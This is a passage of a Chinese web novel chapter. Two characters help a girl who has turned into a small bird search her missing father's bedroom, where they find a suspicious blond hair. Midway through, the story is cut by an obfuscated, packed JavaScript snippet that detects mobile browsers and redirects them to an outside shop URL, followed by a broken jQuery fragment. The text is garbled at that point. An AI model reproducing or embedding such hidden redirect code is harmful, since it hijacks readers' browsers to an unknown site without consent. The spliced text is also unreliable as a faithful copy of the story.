她圆溜溜的眼睛里藏不住的担忧:“她一个人在家……我必须回去。”
“可你现在出去,都不知道能不能回来。”
小团雀愣在原地。
是啊,她现在是毛茸茸状态,别说回去照顾妹,就连会不会死在路上都不知道。
“我一定要回去!父亲已经失踪,她不能再失去我了。”小团雀抓着碗沿的爪子更用力了。
“失踪?”沈欣酒的那点笑意彻底消失。
小团雀在原地沉默良久,才断断续续说出自己的经历。
“上个星期爸爸突然说要出去办件事情,很快就回来,他出门前还摸了摸我和妹妹的头,让我们先吃饭。”于年的翅膀无意识地收紧,“可后来……我们等了一整天,爸爸都没回来,给他打电话也显示关机。”
于年顿了顿,继续往下说:“那天以后,我和妹妹每天出去贴寻人启事,问路过的每一个人,可每一个人都说没见过爸爸,爸爸就这么失踪了。”
沈欣酒静静听着,不知该怎么安慰眼前伤心的小鸟。
她垂眸思考很久,才重新抬眼看向顾舟:“我想陪着于年去她家里一趟。”
“你贸然行动很容易被异化办抓住,太危险了。”顾舟的眉头拧成个川字,出声阻拦。
“可我们不能一直坐以待毙。”沈欣酒说的很慢,却很坚定,“我总有种感觉,这件事情和异化办有关。”
顾舟静静注视着她平静的脸。
“我陪你去。”
“?”
“不是说我们吗?”
沈欣酒的心猛地一颤。
于年扑腾两下翅膀:“真、真的可以吗?!”
“咕噜~”还没等人回答,空气中再次传来尴尬的咕噜声。
顾舟下意识低下头,去看“惯犯”小团雀。
“不是我!”于年羞得又炸毛了。
一旁真正发出咕噜声的沈欣酒硬邦邦开口:“先吃饭吧。”
于年瞥了眼碗里卖相诱人却只有肉沫的面。
……
她发誓,这是她鸟生见过最寒酸,用料最少的面。
她许久没有进食,肚子早就发出抗议。
可眼前的面着实让她下不了口。
她抬眼看了看吃得正香的沈欣酒。
算了。
就当作偿还她的恩情,象征性吃几口。
于年闭起眼睛,低头啄了口面条,快速咀嚼起来。
下一秒,浓郁的肉酱夹杂着面条在她嘴里炸开。
完全不是她想象中寡淡无味的口感。
肉沫Q弹入味、面条筋道又裹满酱香。
于年整个鸟都猛地一顿,她睁开眼。
眼前还是那碗看起来寒酸无比的面,可为什么会这么好吃。
她越吃越香,啄面条的速度都仿佛调了倍速。
一旁的沈欣酒全程目睹她从龇牙咧嘴到真香的全过程。
她忍不住上扬嘴角,连带着动作都带上轻快。
填饱肚子,三人不再耽搁,立即出发。
小团雀被藏在沈欣酒的外套里,轻声给他们指路。
“到了。”
目的地是一栋公寓楼。
沈欣酒环视一圈。
公寓楼的墙皮已经严重掉皮,一根根晾衣杆戳在外面。
一看就是有些年代了。
楼梯间的角落里堆着不少废弃纸箱,旁边还躺着一麻袋一麻袋满满的塑料瓶。
头顶上的声控灯不停发出“滋啦滋啦”的电流声。
他们顺着带着霉味的楼梯间一路往上爬到五楼。
“叩——叩——”顾舟轻轻叩响公寓门。
门后传来一阵急促的奔跑声。
门几乎是迫不及待地被拉开,一个瘦瘦矮矮的小女孩直直扑到沈欣酒的怀里。
“姐姐!”沈欣酒稳稳接住身形单薄的小姑娘。
“你终于回来了!”怀里的小女孩不断哭诉着,“我等了你好久,还以为你也不见了。”
小女孩哭着哭着似乎是意识到不对劲,抬起还挂着泪痕的小脸来。
眼前的人的确不是她熟悉的姐姐,却温和的对她笑。
藏在沈欣酒外套里的于年听见妹妹带着哭腔的声音,立刻挣扎着钻了出来,轻轻跳到于一一的肩头:“对不起,一一。”
小女孩的声音骤然停下,眼神懵懵地看向肩膀上的小鸟:“姐姐?”
“嗯,我们进去说。”
沈欣酒轻轻揽住一一的肩膀,踏入屋内。
身后的顾舟不动声色地扫视着楼梯间,确认没有引起注意,才缓缓带上房门。
屋内光线昏暗,客厅中唯一的窗户被前面一栋楼挡着,只能透进一丝光亮。
于一一伸出一只手小心翼翼地抚摸着于年变成小团雀的身子,她的眼眶泛红:“姐姐,你怎么变成这样子了?”
于年用小脑袋拱了拱她的脸颊,轻声安慰:“姐姐没事,很快就能变回来。”
一旁的沈欣酒看到这一幕鼻头也忍不住发酸。
她别开眼不敢再看下去。
等到姐妹俩的情绪渐渐平复,沈欣酒才开口:“我们想看一下你们父亲的卧室可以吗?或许这样能找到和他相关的线索。”
于一一闻言,望向走廊尽头那扇紧闭的房门。
她迟疑地咬着下唇,求助地看向姐姐。
于年:“可以。”
看到于一一奇怪的反应,沈欣酒和顾舟对视一眼,点了点头。
顾舟率先走上前,警惕地推开房门。
他用的力很轻,紧盯着屋内。
可房间里面没有想象中的恐怖,被打理的干干净净。
一股潮湿的味道钻进他的鼻子。
刺激得顾舟打了个喷嚏。
卧室很干净,唯一值得奇怪的是除了墙面刷成了乳白色,卧室里的家具全都是棕色。
沈欣酒面上不显,心里却升起一股强烈的不适感。
她余光瞥到于一一和于年神色好奇的站在卧室外面,却没有进来,疑惑开口:“怎么了?”
于一一攥紧衣角:“爸爸不让我们进卧室。”
这句话落下,卧室里的温度骤然又降低了。
沈欣酒重新审视起整间屋子。
棕色衣柜紧紧关上,里面的衣服几乎全都是棕色,板板正正地挂在衣架上。
书架上的书本按照高低胖瘦的标准排列整齐,连朝向都统一。
床上的被子叠得方方正正,像个豆腐块。
沈欣酒忍不住打了个寒颤。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789261|210310||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>强……强迫症?
颜色确实压抑了些,收拾得确实很干净。
可也完全没到千叮万嘱不让自己的两个孩子踏进卧室的程度。
还是说房间里有什么秘密?
沈欣酒的视线落到床头柜上。
棕色的床头柜上摆了个猫头鹰造型的台灯,旁边还摆着一张姐妹俩父亲的照片。
照片里的男人戴着眼镜,搂着两个女儿笑得很是开心。
沈欣酒低下头,朝拉开的抽屉柜看去,可惜里面什么都没有。
她失望地叹了口气,正要离开,视线却在看到床上的枕头时,瞳孔猛地一缩。
一根浅金色的头发正落在枕头和床头之间。
她捡起那根发丝,低声喊来顾舟。
发丝很干燥,轻轻一扯就断成两截。
顾舟俯身看向沈欣酒指尖的断发。
无论是于年,于一一,甚至是父亲的照片,他们明明都是乌黑的头发。
沈欣酒又看了眼站在门口的两姐妹,不动声色地将断发藏进口袋里。
她故作轻松地离开卧室:“没发现什么奇怪的,我会帮你们留意消息的。”
“真的很谢谢。”于年激动地跳了下。
可紧接着,客厅又再次陷入沉默。
于年望着惴惴不安的妹妹,犹豫再三才开口:“沈姐姐,我和一一能不能暂时搬到你的面馆住?”
沈欣酒闻言整个人都静了一瞬,没有回答。
见状,于年心里一慌,下意识就想振翅飞到她面前恳求。
翅膀扑腾好几下,勉强飞了起来。
可于年忘了,这是她第一次变成毛茸茸,哪里会控制方向。
在空中转悠一圈,就直直坠落下去。
眼看着要重重摔在地面上,忽然被一双手温柔的托了起来。
“当然可以。”沈欣酒轻声应允,“在你变回来之前都可以住在面馆,不过需要帮忙哦。”
于年的眼眶瞬间红了,用力点头,羽毛随着她的动作在沈欣酒的手掌中扫动着。
一旁始终沉默的顾舟忽然开了口:“走吧。”
于年赶忙带着妹妹去收拾衣服。
一时间,客厅里只剩下顾舟和沈欣酒。
客厅的光微微洒在顾舟的脸上:“那根金发疑点很大。”
“嗯。”沈欣酒点头,“说不定她就是让于年父亲失踪的凶手。”
一阵热风顺着客厅的窗户吹进来,吹动着沈欣酒乌黑的发丝。
顾舟望向那扇重新紧闭起来的卧室门,点点头,声音压得极低:“看来不让两个女儿靠近卧室,恐怕早有准备。”
沈欣酒想起口袋中的头发,在脑袋里飞快回忆着自己接触过的人,一时之间竟然找不出一个不是黑发的人。
没等她多想,于一一便背着小书包走了出来,眼巴巴望着她。
“我收拾好了。”她紧张的抿了抿唇,伸出小手想去拉沈欣酒的手。
“走吧。”沈欣酒收回思绪,握住于一一有些冰的小手,又重新将于年藏进外套里。
他们偷偷摸摸的离开公寓。
沈欣酒牵着怯生生的于一一,缓步走在回面馆的路上。
顾舟手里把玩着一枚金属打火机,刻意走在后面,时刻紧绷着。